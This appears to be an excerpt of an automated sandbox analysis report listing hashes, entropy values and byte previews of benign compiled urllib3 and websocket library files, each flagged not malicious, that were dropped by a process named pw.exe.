Malicious:	false
Preview:	o.........Sg.........................@...sd...U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r0d.d.l.m.Z...d.Z.e.g.d.....Z.d.Z.z.z.d.d.l.Z.W.n...e.yN......d.d.l.Z.Y.n.w.W.n...e.yY......Y.n.w.e.d.7.Z.z.d.d.l.Z.W.n...e.ym......Y.n.w.e.d.7.Z.G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.e.f...Z.h.d...Z.............d6d7d.d ..Z d8d%d&..Z!d9d+d,..Z"G.d-d...d.e.j#..Z$d:d4d5..Z%d.S.);.....)...annotationsN)...b64encode)...Enum.....)...UnrewindableBodyError.....)...to_bytes)...Finalz.@@@SKIP_HEADER@@@)...accept-encoding..host..user-agentz.gzip,deflatez.,brz.,zstdc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_FAILEDTELLr....N)...__name__..__module__..__qualname__..token..r....r.....7C:\recover\pw\lib\site-packages\urllib3\util\request.pyr....'...s........r....z.Final[_TYPE_FAILEDTELL].._FAILEDTELL>....Z.CONNECT..HEADZ.DELETEZ.GETZ.OPTIONSZ.TRACE..keep_alive..bool \| None..accept_encoding..bool \| list[str] \| str \| None..user_agent..str \| None..basic_auth..proxy_bas

C:\recover\pw\lib\site-packages\urllib3\util\pycache\response.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	5.356506720433753
Encrypted:	false
SSDEEP:	48:qRmhh16D1JQ+Nk7gkL2YMHhfpm7kmpx6nriZEviRo3C:Z6D1GslvhaIds
MD5:	64D758296B5432DC379FC5E159756F7C
SHA1:	01FB48A0D290EDDA976A8FA1AED59E8BA80C1FC3
SHA-256:	D726FA5FDD3EAB4D01179030C02C99430B5B714938F2053A7682238D1460DB42
SHA-512:	4A927A617571FBC4B8B5833445142F7EC8B31076BAE82699E5C97477293BFE0222F1E795BEBBD528FA1B8D45ED687C1E66373E98B15CF68DCA3CF9C267557301
Malicious:	false
Preview:	o.........Sg.........................@...sV...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......)...annotationsN)..!MultipartInvariantViolationDefect..StartBoundaryNotFoundDefect.....)...HeaderParsingError..obj..object..return..boolc....................C...s`...z.\|.....W.S...t.y.......Y.n.w.z.\|.j.W.S...t.y.......Y.n.w.z.\|.j.d.u.W.S...t.y/......Y.t.d.....w.).zt. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. Nz)Unable to determine whether fp is closed.)...isclosed..AttributeError..closed..fp..ValueError).r......r.....8C:\recover\pw\lib\site-packages\urllib3\util\response.py..is_fp_closed....s ...................................r......headers..httplib.HTTPMessage..Nonec....................C...sn...t.\|.t.j...s.t.d.t.\|.....d.......d.}.\|.....s#\|.....}.t.\|.t.t.f...r#\|.}.d.d...\|.j.D...}.\|.s/\|.r5t.\|.\|.d.....d.S.).a>.... Asserts whether all headers have been successfully parsed..

C:\recover\pw\lib\site-packages\urllib3\util\pycache\retry.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15731
Entropy (8bit):	5.358359721109724
Encrypted:	false
SSDEEP:	192:kf/Ij12FuuccXjtRLJIkyuhvCTe247+TiEj0bPkCeb31I2s5P7SXR:kVsuPVJvCTe7AiGiPkCeRmPmXR
MD5:	F70ABDED92032A60C36055D198500808
SHA1:	17DE591C5BF4F1B05A52B660444702CCD63D8A1C
SHA-256:	9BDCDB6C823024F35DC74A97E1437F284698A1A303EC9F3315322462CDC59298
SHA-512:	6321B6F227179DB402E72639B874B28415D15416EA9EC4F5F0AEAC5F7DED147F855295E44DD797D214A2D77DC882D5D64458996C06B984F5ABEC1DA4CE12E21B
Malicious:	false
Preview:	o.........Sg.H.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.j.rWd.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...Z.G.d.d...d.e.j ..Z!G.d.d...d...Z"e"d...e"_#d.S.)......)...annotationsN)...takewhile)...TracebackType.....)...ConnectTimeoutError..InvalidHeader..MaxRetryError..ProtocolError..ProxyError..ReadTimeoutError..ResponseError.....)...reraise)...Self)...ConnectionPool)...BaseHTTPResponsec....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...RequestHistory..str \| None..method..url..Exception \| None..error..int \| None..status..redirect_locationN)...__name__..__module__..__qualname__..__annotations__..r....r.....5C:\recover\pw\lib\site-packages\urllib3\util\retry.pyr....!...s................r....c....................@...s"...e.Z.d.Z.U.d.Z.e.g.d.....Z.e.g.d.....Z.e.g.d.....Z.d.Z.d.e.d.<.d.d.d.d.d.d.e.d.d.e.d.d.d.d.e.d.f.dbd'd(..Z.dcd,d-..Z.

C:\recover\pw\lib\site-packages\urllib3\util\pycache\ssl_.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12443
Entropy (8bit):	5.648737114506375
Encrypted:	false
SSDEEP:	384:5jFjJC642apVM00gUuG7fG1JK9Cjd/iyKl2pe67:RKlpGB3u6c5iyK07
MD5:	273E10A63C759AC3B7D539C6BFD74076
SHA1:	07BE3FD2B99A0ACAD9493B26E09140C7990C3178
SHA-256:	7B0EA3FBE691E4118FEA8E62BCAA15414203DD5B6E4D6A9EB36ADDE646B7B8EC
SHA-512:	438A8DB9CB4EE449C7F86976A7273C7FB0D99D2AC7441BBF5D7F03F381917DFFF408C1361A95225EBC83EDE2892D41496FCC093A63A3168CC8C0AA64D125566D
Malicious:	false
Preview:	o.........Sg&K.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.g.Z.e.j.e.e.e.e.e.f...Z.d.d...d.D...Z.dcd.d...Z.ddd.d...Z.e.j.r~d.d.l.m.Z...d.d.l.m Z ..d.d.l!m.Z"..G.d.d ..d e d.d!..Z#i.Z$d"e%d#<.z_d.d.l.Z.d.d$l.m&Z&m.Z.m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-m.Z.m.Z.m/Z/..e+Z0e.r.e.e)ee.j1j2e.j3e.j1j2d%k.r.e.j4n.d...s.d.Z.d&D.].Z5z.e6e/e5..e$e6e.d'e5......<.W.q...e7y.......Y.q.w.d.d.l!m.Z...W.n...e8y.......d(Z'd)Z(dZ-d+Z.d...Z0Z+d,Z,Y.n.w.e.j9d e:d.f...Z;ded1d2..Z<dfd6d7..Z=dgd8d9..Z>............dhdidCdD..Z?e.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdkdUdV....ZAe.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdldXdV....ZA........................dmdldYdV..ZAdnd\d]..ZBdod_d`..ZC..dpdqdadb..ZDd.S.)r.....)...annotationsN)...unhexlify.....)...ProxySchemeUnsupported..SSLError.....)..._BRACELESS_IPV6_ADDRZ_RE.._IPV4_REFz.http/1.1c....................C...s....i.\|.].\.}.}.\|.t.t.\|.d.....q.S...N)...getattr..hashlib)....0..le

C:\recover\pw\lib\site-packages\urllib3\util\pycache\ssl_match_hostname.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3687
Entropy (8bit):	5.702491924642369
Encrypted:	false
SSDEEP:	96:xY/R/mwkAMdqu1vkAlH2TIYxfyRGH0MYUFgAL8IzE+wqq3:xXLA2MAV07xjHTgh2Etqq3
MD5:	DED1712DEA45122E5A3949DEA360F9CB
SHA1:	F74393364503B063AD8A5F559EB0FB371B9CF1FD
SHA-256:	8A1A037C8D11C6E801062DF3FA088E38B39E90C84C182610A251E25F097642C2
SHA-512:	1A21F9A6854B79BCC2CBA865E2F2CEB4E1DB52A7EB99E71B8392976AE1D2E0220941DF3D55FE9B268C858B1952025DD0224C6E7C6EC81614C8BE5645E952D236
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...e.j.r%d.d.l.m.Z...d.Z.G.d.d...d.e...Z...d!d"d.d...Z.d#d.d...Z...d$d%d.d ..Z.d.S.)&zHThe match_hostname() function from Python 3.5, essential when using SSL......)...annotationsN)...IPv4Address..IPv6Address.....)..._TYPE_PEER_CERT_RET_DICTz.3.5.0.1c....................@...s....e.Z.d.Z.d.S.)...CertificateErrorN)...__name__..__module__..__qualname__..r....r.....BC:\recover\pw\lib\site-packages\urllib3\util\ssl_match_hostname.pyr........s........r......dn..typing.Any..hostname..str..max_wildcards..int..return..typing.Match[str] \| None \| boolc....................C...s....g.}.\|.s.d.S.\|...d...}.\|.d...}.\|.d.d.....}.\|...d...}.\|.\|.k.r&t.d.t.\|.........\|.s2t.\|.....\|.....k...S.\|.d.k.r<\|...d.....n.\|...d...sF\|...d...rO\|...t...\|.......n.\|...t...\|.....d.d.......\|.D.].}.\|...t...\|.......q]t...d.d...\|.....d...t.j...}.\|...\|...S.).zhMatching according to RFC 6125, section 6.4.3.. http://tools.ietf.org/ht

C:\recover\pw\lib\site-packages\urllib3\util\pycache\ssltransport.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9403
Entropy (8bit):	5.25992015536626
Encrypted:	false
SSDEEP:	192:/330cuKX0ItSvpkv9nfgC+JI/XdABK1sdIDv5YaBbcMhu:/330lKlSvp4hXdcYsyxBYWu
MD5:	637FECDF060343F450BC187D1700847B
SHA1:	F9A9908F9DB4F624ECC20D1F2180BE457F01FD7B
SHA-256:	6F598A0E38C44D567259296D4467393814A3F61FD09F3F61D6FDB449C63B20D6
SHA-512:	17713FD48086029E544AAACD289C9FA3AA6BFD109489B28D13EA91A039A0C582A4FBA5FB7FFBE4EDB7B27A972AEE7AF0F10C49D20C290023F016311404459043
Malicious:	false
Preview:	o.........Sg.".......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j.r-d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.e.f...Z.e...d...Z.d.Z.G.d.d...d...Z.d.S.)......)...annotationsN.....)...ProxySchemeUnsupported)...Self.....)..._TYPE_PEER_CERT_RET.._TYPE_PEER_CERT_RET_DICT.._ReturnValuei.@..c....................@...s....e.Z.d.Z.d.Z.e.dsd.d.....Z.....dtdud.d...Z.dvd.d...Z.dwd.d...Z.dxd.d...Z.dydzd!d"..Z.d{d\|d&d'..Z....#d}d~d,d-..Z.d.d.d0d1..Z.d.d.d2d3..Z...d.d.d.d.d4..d.d<d=..Z.d.d>d?..Z.d.d@dA..Z.e.j..Bd.d.dFdG....Z.e.j.d.dJdG....Z.d.d.dMdG..Z.d.dNdO..Z.d.dQdR..Z.d.dSdT..Z.d.dVdW..Z.d.dXdY..Z.d.d\d]..Z.d.d^d_..Z.d.d`da..Z.d.d.dcdd..Z.e.j.d.dgdh....Z.e.j.d.dkdh....Z.e.j.d.dndh....Z.....d.d.drdh..Z.d.S.)...SSLTransportaL.... The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. i

C:\recover\pw\lib\site-packages\urllib3\util\pycache\timeout.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9583
Entropy (8bit):	5.1263187155052945
Encrypted:	false
SSDEEP:	96:k8POMrflhdz+7V0MV8K7byybXiCDzQyFF/LCfAChn8l/qxzWOBGawWy8I81GZ5Di:tLn+l/ucy80CBXPqGrpjMKfQHcsyJO
MD5:	DD5247F3B5A6ED5BF7B94048EF3A6305
SHA1:	8A4EE88535452E26D578620F4F2F03D67BF506ED
SHA-256:	B93C380A3B42E3928E0AC79FFCD432C4B04C49FC09EAA5D1BDAAACB0DDC7DDFE
SHA-512:	5B934571EFE543C76B633DF2C398E3C053CF733CC462EC7A76DBC4E7F4BFA2B9990D2D235209E46ED6D7AB9F136E5CB4C3DA73911381E0C121225D7CC9589559
Malicious:	false
Preview:	o.........Sgj(.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.rd.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.j.e.e.f.....Z.G.d.d...d...Z.d.S.)......)...annotationsN)...Enum)...getdefaulttimeout.....)...TimeoutStateError)...Finalc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_DEFAULT.....N)...__name__..__module__..__qualname__..token..r....r.....7C:\recover\pw\lib\site-packages\urllib3\util\timeout.pyr........s........r....z.Final[_TYPE_DEFAULT].._DEFAULT_TIMEOUTc....................@...s....e.Z.d.Z.U.d.Z.e.Z.d.e.d.<.d.e.e.f.d$d.d...Z.d%d.d...Z.e.Z.e.d&d.d.....Z.e.d'd.d.....Z.e.d(d.d.....Z.d)d.d...Z.dd.d...Z.d*d.d...Z.e.d+d d!....Z.e.d,d"d#....Z.d.S.)-..Timeouta....Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout).. resp =

C:\recover\pw\lib\site-packages\urllib3\util\pycache\url.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11221
Entropy (8bit):	5.780298109207539
Encrypted:	false
SSDEEP:	192:ZVOJZgt54KqlH/qu/QFYP0YU5HqDEuwqSvqi1D5hlSdm0ICwqW4q5cPoBTJqovLV:ZVeZgt54KqVquoJxHqDEuwqSvqi1D5XJ
MD5:	2B218A041D05B7F5668AF714CD0193A6
SHA1:	F7C52E4BE79F0F4C49ACC7091DC3A304818C8BC1
SHA-256:	2A55F1928E171CE5460EEEB9A84B70615E1F4E93B0E7C4A617DFF23DD43C23CA
SHA-512:	A63E5FC52BE6539825493AB71925AF288B706FCCEC6FB3F1B9F9632557D6A9EE37479046F411B5405A2F0D861B5F7FA3AAD1344A362529728E59C4805FF2AA0F
Malicious:	false
Preview:	o.........Sgm;.......................@...s~...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.e...d...Z.e...d...Z.e...d.e.j.e.j.B...Z.d.Z.d.Z.d.j.e.e.d...Z.e.e.d...Z.g.d...Z.d.Z.d.d...d.d...e.D.......d...Z.d.e...d...Z.d.e...d...e...d...Z.d.Z.e...d...Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e.d.d.......d.....Z.e...d e...d!....Z d"e.e.e.f...Z!e...e!e.j.e.j.B...Z"e#d#..Z$e#d$..Z%e$e%B.d%h.B.Z&e&d&d'h.B.Z'e'd(h.B...Z(Z)G.d)d..de..dd+e.j+e,..f.d,e.j+e,..f.d-e.j+e,..f.d.e.j+e-..f.d/e.j+e,..f.d0e.j+e,..f.d1e.j+e,..f.g.....Z.e.j/dMd7d8....Z0e.j/dNd:d8....Z0dOd<d8..Z0dPd=d>..Z1e.j/dQd?d@....Z2e.j/dRdAd@....Z2dSdBd@..Z2dTdEdF..Z3dUdHdI..Z4dVdKdL..Z5d.S.)W.....)...annotationsN.....)...LocationParseError.....)...to_str)...http..httpsNz.%[a-fA-F0-9]{2}z.^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)zS^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?(?://([^\\/?#]))?([^?#])(?:\?([^#]))?(?:#(.))?$z.(?:[0-9]{1,3}\.){3}[0-9]{1,3}z.[0-9A-Fa-f]{1,4}z.(?:{hex}:{hex}\|{ipv4}))...hexZ.ipv4).r....Z.ls32).

C:\recover\pw\lib\site-packages\urllib3\util\pycache\util.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	4.993550467933379
Encrypted:	false
SSDEEP:	24:j2LkVMQdXRjkhlcRoyz4tMXSwgpsqnud9Qzm+6IErGXTSu:NMQdBYhlctWp1KQ9+GXmu
MD5:	62E6552BFCCABE27F6A4360BBC8B18E6
SHA1:	D1DE5754990755E002DAB67B8AC5F962A158BDEB
SHA-256:	3734A4CDEBA55E66604366CCEB8EDE6D183B079612E55FD023DEC1C48A444EBC
SHA-512:	324745B8E097EC949C394998B2F08BE9D9B2DC9DA785F363750206C8EDA37CB2930583BBA8ED7A17B85E6DDCCD2E259E8E24C7BE78A1936392FF4CC15BF1FDDE
Malicious:	false
Preview:	o.........Sgz........................@...sN...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.....d.d.d.d...Z...d.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...TracebackType..x..str \| bytes..encoding..str \| None..errors..return..bytesc....................C....R...t.\|.t...r.\|.S.t.\|.t...s.t.d.t.\|...j.........\|.s.\|.r%\|.j.\|.p.d.\|.p"d.d...S.\|.....S...Nz.not expecting type z.utf-8..strict).r....)...isinstancer......str..TypeError..type..__name__..encode..r....r....r......r.....4C:\recover\pw\lib\site-packages\urllib3\util\util.py..to_bytes.......................r....r....c....................C...r....r....).r....r....r....r....r....r......decoder....r....r....r......to_str....r....r......tp..type[BaseException] \| None..value..BaseException..tb..TracebackType \| None..typing.NoReturnc....................C...s$...z.\|.j.\|.u.r.\|...\|.....\|...d.}.d.}.w...N)...__traceback__..with_traceback).r....r....r....r....r....r......reraise....s................r%...).NN).r....r....r....r....r....r....r....r....).r....r

C:\recover\pw\lib\site-packages\urllib3\util\pycache\wait.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	5.126034200816552
Encrypted:	false
SSDEEP:	48:ny6A4HN1SSpU9QYvX7ws85K4CE8uG9G0N3Ae8wWv9O3ArDiPh:ny6A4HT1pavX7h0mh9GcAFwWlIArDiPh
MD5:	F26C17A5CE5CEB598C2EE5A5172E0E62
SHA1:	0CAEBFE6695C21E3D9C8628B9B1B0EC361B6D78B
SHA-256:	297B3A7540A4EB75BB3ECD1CF8068B4EA44D36E75F5D60C55D5AC655B8CB40F0
SHA-512:	4951761638F13FF4A8735DE258F0FDAA6D97550AFB181B772770874E568FB73316FEBBEA2DA2ED16E1171FF520DC53097732D2C75218FA3CFAA3A7E6B3CE4D6E
Malicious:	false
Preview:	o.........SgG........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.g.Z.......d.d.d.d...Z.......d.d.d.d...Z.d.d.d...Z.......d.d.d.d...a.d.d.d.d...Z.d.d.d.d...Z.d.S.)......)...annotationsN)...partial..wait_for_read..wait_for_writeF..sock..socket.socket..read..bool..write..timeout..float \| None..returnc....................C...sb...\|.s.\|.s.t.d.....g.}.g.}.\|.r.\|...\|.....\|.r.\|...\|.....t.t.j.\|.\|.\|...}.\|.\|...\.}.}.}.t.\|.p/\|.p/\|...S.).N.2must specify at least one of read=True, write=True)...RuntimeError..appendr......selectr....).r....r....r....r....Z.rcheckZ.wcheck..fnZ.rreadyZ.wreadyZ.xready..r.....4C:\recover\pw\lib\site-packages\urllib3\util\wait.py..select_wait_for_socket!...s..........................r....c........................s^...\|.s.\|.s.t.d.....d.}.\|.r.\|.t.j.O.}.\|.r.\|.t.j.O.}.t...........\|.\|.....d...f.d.d...}.t.\|.\|.....S.).Nr....r......tr....r......list[tuple[int, int]]c........................s....\|.d.u.r.\|.d.9.}.....\|...S.).Ni....)...poll).r......Z.poll_objr

C:\recover\pw\lib\site-packages\websocket\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	967
Entropy (8bit):	5.441334570949639
Encrypted:	false
SSDEEP:	24:85G9Zl4IpheU0E+4HQk1Gps2OJjGpa4E+P:8Al4+h0CH31KiJjGpQg
MD5:	22DD21362F2EF4766A8D71B52C517E00
SHA1:	13536618CCF218DE4B496F8C70D47EF1EFDFD3DC
SHA-256:	A418AA713B9CAD04009076233330CC655FFDF6F57F100E3C4C6A093AADFA5391
SHA-512:	0A5C4318837187B32785405663AABE00573549E2A45E40613C29955F8E1E0BAF1991CA430D523B3F1C77E499A30EDBB226DE805BCFA10AB3C2DA5FDC73172455
Malicious:	false
Preview:	o.........SgA........................@...sD...d.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.T.d.d.l.T.d.d.l.T.d.d.l.T.d.Z.d.S.).ab....__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.......)...*)...WebSocketApp..setReconnectz.1.8.0N)...__doc__Z._abnfZ._appr....r....Z._core.._exceptionsZ._logging.._socket..__version__..r....r.....5C:\recover\pw\lib\site-packages\websocket\__init__.py..<module>....s....................

C:\recover\pw\lib\site-packages\websocket\pycache\_abnf.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	5.407402659419252
Encrypted:	false
SSDEEP:	192:ofJmK7mmCkzdMfdx4cIl+UqLcHo36L5FskQJeCiROUppvaZdre82l4rn0WFV:KmTSulap8UCAo3Kn4GHppCe82+rn0o
MD5:	9F85E409959C6E5296374217C7B2E6A1
SHA1:	517FE9FEB903DEE5B6E9C5EF805FC844CF424C42
SHA-256:	2C307D856B102DDC11637156F66C335482776F88B7680FC3BB93F91CCC8906F3
SHA-512:	44F112DB35ED3CA32B704EBA7652ADCC24D64AE1D2F087004B4BE5B5394313EC07E9D7BFE4560A36100420454D70BE8A41F1FCEFA932563A02418460651373A5
Malicious:	false
Preview:	o.........Sg18.......................@...sJ...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....z.d.d.l.m.Z...d.e.j.d.e.j.d.e.f.d.d...Z.W.n...e.y]......e.j.Z.d.e.j.d.e.j.d.e.f.d.d...Z.Y.n.w.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%e.e.e.e.e.e.e.e e!e"e#e$f.Z&G.d.d...d...Z'G.d d!..d!..Z(G.d"d#..d#..Z)d.S.)$.....N)...Lock)...Callable..Optional..Union.....)...WebSocketPayloadException..WebSocketProtocolException)...validate_utf8)...XorMaskerSimple..mask_value..data_value..returnc....................C...s....t.\|.....\|...}.\|.S...N).r......process).r....r....Z.mask_result..r.....2C:\recover\pw\lib\site-packages\websocket\_abnf.py.._mask%...s........r....c....................C...sH...t.\|...}.t...\|.t...}.t...\|.\|.d.....\|.d.\|.d.........t...}.\|.\|.A...\|.t...S.).N.....)...len..int..from_bytes..native_byteorder..to_bytes).r....r....Z.datalenZ.int_data_valueZ.int_mask_valuer....r....r....r....-...s................)...ABNF..continu

C:\recover\pw\lib\site-packages\websocket\pycache\_app.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	19424
Entropy (8bit):	5.399573145314436
Encrypted:	false
SSDEEP:	384:aHJMnoF3eIfFDxNUbVr5mEtr0zSo0/3888tiYn:aHJMnoF3eIddNcrggqSo0/98ln
MD5:	BF693C85EA0FA85CB6C38844E0535220
SHA1:	0CDED30179E23251DECEAEA9C2CE4999DD930A8F
SHA-256:	31AD87B993A7C1E9DE4E850EDFDD5518429C0186EF3D98BAF6E33DDC89B4639D
SHA-512:	7BF246C51712E49646EADD30C5A629448212ED18B3443D98FFAB69188AA42D62EA9433545E424C9E8959D14C5C50D08B74D7653597BE817D2CA71B3863C92373
Malicious:	false
Preview:	o.........Sgp^.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.g.Z.d.a.d.e.d.d.f.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z G.d.d...d...Z!d.S.)......N)...Any..Callable..Optional..Union.....)..._logging)...ABNF)...WebSocket..getdefaulttimeout).."WebSocketConnectionClosedException..WebSocketException..WebSocketTimeoutException)...SSLEOFError)...parse_url..WebSocketApp..reconnectInterval..returnc....................C...s....\|.a.d.S...N)...RECONNECT).r......r.....1C:\recover\pw\lib\site-packages\websocket\_app.py..setReconnect+...s......r....c....................@...sf...e.Z.d.Z.d.Z.d.e.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.S.)...DispatcherBasez.. DispatcherBase. ..app..ping_timeoutNr....c....................C...s....\|.\|._.\|.\|._.d.S.r....).r....r....)...selfr....r....r....r....r...

C:\recover\pw\lib\site-packages\websocket\pycache\_cookiejar.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	5.065839170154802
Encrypted:	false
SSDEEP:	24:znYq+Pi2cYReITZg0ZVzD0oOBzttwutP5iIv0UdzcbVHckuxj7kV5ZFgrI:zYlP9cBI7gPBzreIv0UdzMcLgV5KI
MD5:	46A0B1A6B44638A6F3480307EDBFA772
SHA1:	D5E029483DB6545BA3C3BEC10D555E8613F5CA64
SHA-256:	94C954703A69937E4EC1FC0445BB969C55D1F643CBD860E7FE804DA4DF9A3E31
SHA-512:	CE57D40359CA9FCFF40930DC54BFF5F330F91571011DD43BBF59CDDFC72D66080AD0DC1C60AEF382E8ADEAFBADF74805AB56F0E0765760F3FE9B1D5490A77A90
Malicious:	false
Preview:	o.........Sg_........................@...s(...d.d.l.Z.d.d.l.m.Z.....G.d.d...d...Z.d.S.)......N)...Optionalc....................@...sP...e.Z.d.Z.d.d.d...Z.d.e.e...d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.e.f.d.d...Z.d.S.)...SimpleCookieJar..returnNc....................C...s....i.\|._.d.S.).N)...jar)...self..r.....7C:\recover\pw\lib\site-packages\websocket\_cookiejar.py..__init__....s......z.SimpleCookieJar.__init__..set_cookiec....................C...s....\|.r=t.j...\|...}.\|.....D.]2}.\|...d.....}.r<\|...d...s.d.\|.....}.\|.j...\|...r+\|.j...\|...n.t.j.....}.\|...\|.....\|.\|.j.\|.....<.q.d.S.d.S...N..domain...)...http..cookies..SimpleCookie..values..get..startswithr......update..lower).r....r......simple_cookie..vr......cookier....r....r......add....s..................................z.SimpleCookieJar.addc....................C...sV...\|.r't.j...\|...}.\|.....D.].}.\|...d.....}.r&\|...d...s.d.\|.....}.\|.\|.j.\|.....<.q.d.S.d.S.r....).r....r....r....r....r....r....r....r....).r....r....r....r....r....r....r....r.

C:\recover\pw\lib\site-packages\websocket\pycache\_core.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	5.257007529337733
Encrypted:	false
SSDEEP:	384:y5oj/9NgJpx938wlJYz2citggg7zXEjsVdTPe:ya9Ni3rlO2ciU7DEYnTPe
MD5:	96BCD4CF26415A528BD5D43F90478571
SHA1:	99CB83FD25DD19420436DAA6A2426CF5480A31DF
SHA-256:	1D01BDD3F5ACDD9D75B9609DAAF5C79C7553B811982DB899FDD363BB25BCB6C0
SHA-512:	3101CBFD28B09205E8E83BCF967AFA2AE7FFB69A623B4D5B0A54D5464E764B39CAB5CA66EE5EC64E26C0E6DF7B0154F19DC9F1F7179FF8265431783979C1EF70
Malicious:	false
